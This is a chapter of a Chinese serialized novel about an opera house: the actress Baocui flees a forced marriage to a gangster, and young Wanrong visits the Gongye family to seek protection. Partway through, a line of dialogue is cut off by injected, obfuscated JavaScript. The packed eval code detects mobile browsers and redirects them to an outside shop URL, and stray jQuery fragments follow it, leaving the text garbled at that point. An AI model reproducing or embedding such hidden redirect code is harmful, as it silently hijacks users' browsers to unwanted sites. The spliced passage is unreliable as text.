上次话说到时值中秋，李妈妈亲自去请红玉回戏院过节，不想她已经去世一个多月了。李妈妈翻了一遍公寓，料定红玉的遗物都被人私藏了。找到傅公馆何在真那，一是取走红玉的遗物，二还去了一趟她的墓地，不免伤怀一番。回到芙蓉大戏院，向众人说了，提起芙蓉城□□头目赵二爷逼抱翠嫁他一事，和抱翠起了争执。正好琬容认识一个路过芙蓉城的富商之子沈通，便托他夜里带了抱翠离开。这还是她第一次送别人离开，往常都是她背走他乡的。她还不知道，人生的别离是一本不休书。有分教：新灵初到，欢笑声中一弱哭。又是何年，不需白头，漠漠不问世间法，独向奈何。且看天地，檐上飞鸟暂歇，黑羽映蓝天，淡淡月华光辉。青石桥上，潺潺流水抛人去。复念飞鸿，不堪回首。
这事到了白天便立刻东窗事发，李妈妈气冲冲地找琬容说话。
芙蓉大戏院的早晨，常是清早五点多佣人起来了，开门、擦桌，放菜贩子进来、到厨房煮早饭烧水。其后是唱戏的角儿们起来，一早上便是长长的腔子唱道：“清早起床——”然后遏住了，生生地断下去，那还浓着睡意的声口——似乎又要睡下去。
李妈妈早上吃过早饭，打点当天排戏的花旦小生去练曲子，却没看见抱翠，问琬容道：“你抱翠姊还没起来？什么时间了？她是成角儿了，脾气大着呢。昨天不过和她呕了两句话，她今天便索性楼也不下了，当是要人请的大小姐吗？”
春晓在一旁接过来道：“她小孩儿脾气，昨天拌了几句嘴，心里不好受也是有的，不好意思见妈妈呢。再说，她脸面重要，吵了几句脸就红红的，想来是赖在床上等人哄她呢。我去叫她下来。”
李妈妈哼了几声，也不言语，打发另一个人带琬容去练嗓子。
没一会，春晓从楼上下来，报道：“她没在房间，奇怪了，大早上就出门了？是不是到后边躲人去了？”
李妈妈另叫了几个佣人，说：“前院后院都去看看，外边院子里也找一找。”
去了许久，佣人们回来，你推我、我推你，谁也不愿意先开口。李妈妈冷笑道：“今天是都哑巴了？”
才有一个女佣绞着手道：“李妈妈，抱翠姊不在戏院里。我们都找过了，里面外面都没有。连前院的楼上都看过了，确实是没见着她。”
半晌，李妈妈站起来道：“难不成她成仙飞去了？”
春晓介面道：“也许是她自己悄摸出去了。我们都忙，一时没看见她也是有的。”
李妈妈哼道：“找琬容过来！唱什么戏？一个大活人在戏院里还能不见了！”
佣人去带了琬容过来。刚走进去，听到李妈妈厉声道：“老实交代！你抱翠姊去哪儿了？什么大早上到外面去了，我一点不信。你和她一个房间，休推梦里睡里。你是死人？一点动静也听不到？昨天吵了两句，好，谁逼着她去嫁人了？她倒好样的。”
琬容嗫嚅道：“我不知道——”
李妈妈打了她一个耳刮子，冷声道：“我早叫你别在我面前装神弄鬼的，你不知道——”
春晓忙把琬容挡在身后，劝道：“妈妈快别生气。她一个小孩儿，上次红玉姊结婚，我们在她们房间闹了几个点钟，声音大得很，她还睡得死死的。你看看，要是房间里真有点动静，她还真不知道，还在梦里睡着呢。”
李妈妈略站了站，三脚两步上了二楼，进抱翠的房间一看，她床铺上的被子叠得整整齐齐。过去开了几个抽屉，什么首饰银钱都不见了；又开了衣橱，好几套昂贵的衣裳也不见了。李妈妈恨道：“好啊，好啊，给我来了一招金蝉脱壳。”在房里呆了半晌，复又走到楼下。走完阶梯，她抹了一把眼睛。
李妈妈向琬容问道：“她跑了，你一点也不知道？”
旁边春晓、夏荷等人闻言愣住，嘀嘀咕咕地问起来：“抱翠昨晚上走了？”
李妈妈横了她们一眼，一手拍在桌子上，冷笑道：“衣服首饰都带走了。昨天吵了几句，谁真逼着她嫁那个赵二爷了？不知道哪世招来的冤家！她出风头被人家看上了，她往常不是和公冶家的公冶小姐交好？也不见她找个谁帮帮她，只一味地说不嫁。你不嫁，等着我们整个戏院陪你去死？找人帮忙也不知道哪里亏了她的脸面。”她说着哭起来，一面抹眼泪，一面道：“我早说她是个硬气的，但她能硬气一辈子？这会她跑了，丢了个烂摊子等我收拾。我对她——这么些年下来，没有功劳也有苦劳。你们这一辈人怎么长起来的？有良心的心里都记得，可恨她是个白眼狼，只有人对她好的，没有她感恩的时候。”
半天没有人言语。倒是爱玉从前边打帘子进来。他刚才在前边的戏台子上练戏，一面唱，一面听佣人嘴里道：“这抱翠姊是去哪里了？李妈妈脾气不好，她脾气也没好到哪里去。等会我们三不知找到她面前去了，还没到李妈妈面前，她先要数落我们一番呢。”他仍在天井投下的天光的边上咿咿呀呀地唱长长的调子。唱完了，那玉色的天光还只是投到戏台子边，他走过来、走过去，那万道天光也只是偷到他的脚边。
爱玉走过去，漫声笑道：“您还是第一天知道她？从前十几岁的时候，她爬到那桃树上摘了一朵顶漂亮的红桃花，大家见了高兴，就上手碰了几下，她立马丢了说不要。——她硬气惯了，偏遇见和她一样硬气的赵二爷。你硬气有什么用？人家不光有钱，还有地位势力，看你不顺眼了，不耐烦哄你了，和碾死一只蚂蚁一样简单。李妈妈，你也别气了，就是她愿意留下来嫁给赵二爷，那只是一个波浪过去了。她走了，原本一走就再也和你没关系的。各人往各人的路上前进。况且她一定不肯嫁给赵二爷的，这事早晚要麻烦到公冶小姐手上。也不是一次两回了，这次叫琬容去，也是一样的。”说完又打帘子回了前边。
他走到天井下边，想起凌晨时看到的抱翠的眼睛。
李妈妈听了，想着人已经是走了，早晚追不回来，只心里焦急。但她走了，那是早晚的事情，就是从她手上出去，也得不到她多少好处。那赵二爷又是不敢耽搁的。因吩咐琬容道：“公冶家的姨奶奶生了孩子，不知道是少爷还是小姐，一会你过去拜访公冶小姐，带一匹红布过去。”
琬容应道：“好。”
李妈妈瞥了她一眼，看见她脸上的红印子，采过她的手臂道：“教你说实话也不说！你是真不知道？反正人已经走了，你替她死守着做什么？难不成我现在还找得回她？她是个臭脾气的，我看你跟在她身边倒学了她几分脾气。以后别这样了。春晓，你带她去擦脸，抹些雪花膏什么的，别留痕了。一会你带她去铺子里买新生儿用的布料。她一个小孩，哪里知道这些？”
春晓道：“嗳，我先带她去擦脸。”
这是十月初的芙蓉城，初秋了，秋风细细，叶叶梧桐坠落，下边迎着浅粉色的木芙蓉花。满城的木芙蓉都开了，走到哪儿都躲不开。
琬容提着礼物站在公冶家的城门前，又是那道城门，灰石上绿漆字“止观路”，两边一对对联，道：止止我法微妙难悟，观观此心欲壑难填。长长的青石板砖路的尽头是靖南王府。上一次来还是看不清的，被团团的榕树叶子挡住了。那时是暮春的时候，芙蓉城到处浮动春天的潮湿。一切都是湿润的，即使在阳光下面。一切都裹在雾气潮湿之中，挟着阴阴的凉气。那时站在城门前望进去，浓浓的树荫下透着黑影，一寸寸都沾着凉爽，好像专门投给冥界的鬼魂使用似的。人打树下过去，总觉得浸凉，也许是撞到了也走在那条路上的鬼魂。这会都稀疏了，只有疏疏朗朗的四季长青的桂花树的叶子，靖南王府就是夹在桂花的叶隙之间。像《聊斋》里书生的回头一望，终于看清了夜里高门大户的真相——不过是孤坟。
琬容想起第一次到公冶家来，是红玉结婚回礼，她另抓了一把糖果——来见公冶华月。以一种过年的心情。这次仍是来见公冶小姐，她的红玉姊、抱翠姊都不在了，公冶小姐呢？听说她的祖母去世了。她再见公冶小姐，该以一种怎样的心情？她勉强笑了笑，却忍不住滚下泪来，一种物是人非的哀凉。这哀凉太甚，满出来铺到地上。而青石路上早已经铺满了榕树的落叶。青黄交杂——原来树叶不必等到枯黄便辞去了。这是她的人生凄凉的华锦。
琬容走进去，又是第一次见的那个女佣带她进去。佣人也认出她来，因笑道：“又是派你这个小丫头。你们戏院的消息倒灵通，摆了好几天的酒昨天刚结束，你们今天就过来了。”
琬容笑道：“我们李妈妈说今天过来正好，免得打搅了。”一面往里面走，琬容记得走的这条路是往公冶华月的院子去，便问道：“姐姐，公冶小姐在家吗？”
那佣人笑了笑，说：“我们家小姐不在家。你找她有事？”
琬容呆了呆，一时不知道说什么，好半天才说：“也没有，只是想顺路向公冶小姐道个好。”
佣人道：“我们家小姐早搬去寿春园那边了。？”说着扭头看着琬容道：“你去过那边吗？”
琬容摇头道：“没有。”
佣人因笑道：“那是我们公冶家的别墅。小姐一个人在那边住惯了，得空了就要过去的。她住得开心，连小少爷的满月酒都没有回来。太太也叫人去请，请了几次都不肯呢。”
打公冶华月的院子经过，琬容看了看，院门关着。再往里走，近着公冶老太太的院子，隐约传来一阵念经木鱼声。
佣人见她停住，随口说了声：“那是老太太百日，请了和尚来念经。”
转了个弯经过老太太的院子，依旧草木葱茏，只是觉得荒凉了一些，不知道是不是自己的心的缘故。琬容想进去拜拜，但不好意思说，只晃过去便离开了。
何在蝉搬去从前顾云喜住的院子。佣人带琬容到院门口停下，里边叫了小漫出来，问了几句，又带琬容进去。
到会客室坐下，何在蝉叫琬容坐，丫鬟给她倒了杯茶。
何在蝉胖了一些，气色比以前好很多，白皮肤里透出红，又穿一身粉色无袖真丝旗袍，越发显得整个人珠圆玉润。见了琬容带来的礼物，她向琬容道：“你们戏院倒牵挂着。我想着你们
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17960747|206699||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
那儿天天都要唱戏，没有休息时间的，所以没有给你们发贴子。你回去对你们李妈妈说一声，也多谢她了。”
琬容忙道：“不客气不客气，我回去对李妈妈说。”
何在蝉又问：“你们戏院最近生意好不好？想来你过来还要找一回华月罢？她在别墅那边呢，不得空回来。”
琬容想了想，说：“挺好的，和从前差不多。”
何在蝉便道：“那就好。”说着喝了口茶，叫小漫到卧室那边看看孩子怎么样。
小漫轻声过去看了看，回来轻笑道：“小少爷睡着呢。”
何在蝉也是笑，说：“好容易早上愿意睡觉的，平常要闹着散步呢，非要在屋里兜圈子。”
琬容好容易才说出口：“太太，我们戏院有事想请公冶先生帮忙。大家都知道，我们戏院平时就是唱唱戏，赚那一星点的钱。生意倒不错，可是客人鱼龙混杂的，一不注意就容易起争执。前不久一个赵二爷看上了我一个姐姐，一定要娶她。要是一般人也就算了，他是个□□分子，身上不干净，谁知道他哪天遇着意外？所以我姐姐不愿意嫁他。他又非要强迫。我们戏院没有什么认识的人，只好来麻烦您和公冶先生。”
何在蝉闻言问道：“你姐姐？”
小漫接过来道：“她们戏院里的称呼吧？”
琬容点了点头，怯怯地看了一眼何在蝉。
“这有什么？也许先生倒认识那个赵二爷。”何在蝉笑了笑，看了琬容一眼，又道：“我说你们戏院一定有事呢。‘无事不登三宝殿’。不过谁平白无故的常上别人家去？就是我们家请你们戏院过来，也不过是为了听戏，也不怪你们。等他回来了，我向他说就是了。好歹从前常常请你们过来唱戏的，不单是华月，就是从前的老太太，也说你们戏院不容易呢，要多照顾你们。我们两边到底有些交情，不至于叫别人为难你们。”
琬容连忙站起来，鞠躬道：“多谢太太！”
何在蝉笑道：“这是做什么？快免了吧。”
众人都笑了。
忽地一个佣人进来报道：“太太，在真小姐——傅太太来了，在门口呢。”
何在蝉对小漫道：“你去接她进来。”小漫去了，她又对琬容道：“有客人，就不留你坐了。李妈妈那边也在等你的消息吧？你快回去告诉她一声，不用担心那件事了。”又吩咐佣人给琬容包一份点心带回去。
琬容又忙起身道：“嗳，多谢太太！”便跟着佣人出去了。
走在路上，她想着不在家的公冶华月，又猛地想到佣人刚才唤的那一声“在真小姐”。“在真”，以前听公冶小姐和弄晴提起过这个名字，想来就是同一个人。她想见一见这个在真小姐，想着佣人的话——她什么时候当了人家的太太？她长什么样？是个什么样的人？怎的还和刚才那位公冶太太有联系？是她的妹妹吗？琬容一个也不知道，只能盼着在路上瞥一眼。但公冶家的客人都是进门走右手边，再从另一边出去的，没有在路上撞见的道理，除非在前厅走动。
她走出去，只看见门口停着一辆汽车。
这是琬容这一生最后一次来公冶家。
回了戏院，李妈妈问事情怎么样。
琬容回道：“公冶小姐不在家，只见了公冶太太。我给她送了礼物，她请我喝茶，然后我就告诉她了。她说会帮这个忙。”
李妈妈听了不语，半晌才笑道：“什么公冶太太，那是公冶家的姨奶奶，是姨奶奶生了孩子。”
琬容只道：“我听她家佣人都叫她太太。”
李妈妈想了想，说：“他们家太太不是顾老板的妹妹？什么时候姨奶奶扶正了？难不成就为着她生了个孩子？按道理也不应该。就是原先的太太愿意，顾老板还有话讲呢。”顿了顿，她道：“算了，事情能解决就好。”便打发琬容去练嗓子。
抱翠走了，琬容的一天仍是练嗓子、吃午饭、休息、起来练嗓子······这一切的一切，都按着原先的安排，一点没有改变。可是她知道，她的心改变了。人们来来往往地路过彼此，留得久的人一定改变了你的心的某一点——只是你不知道，或是许久以后才懂得。琬容看着西斜的太阳，薄薄的金黄打在芙蓉花上，粉色镀金——是黄昏了，是秋天了。
晚上她一个人在房间里，盘腿坐在床上，身上裹着被子，靠窗的桌上仍摆着一盆蝴蝶兰。她记得公冶华月曾经来过，坐在那张凳子上，挨着那株蝴蝶兰。
她的病好了吗？
——像回到第一次见面那样，握个手，另一只手垂在裙边握住，道一句：“你好。”
——“你好吗？”
她呆呆地看着对面空落落的床铺。
忽然李妈妈推了房门进来，琬容半晌才发得出声音，喊了句“李妈妈”。
李妈妈点了点头，走进去看了看，果然只有琬容一个人。她盯着抱翠的床铺看了许久，低声恨道：“多狠心的冤家——”调子遏住了，像芙蓉大戏院清早的那句长长的号子，声音送出去，急转直下，再没有后续。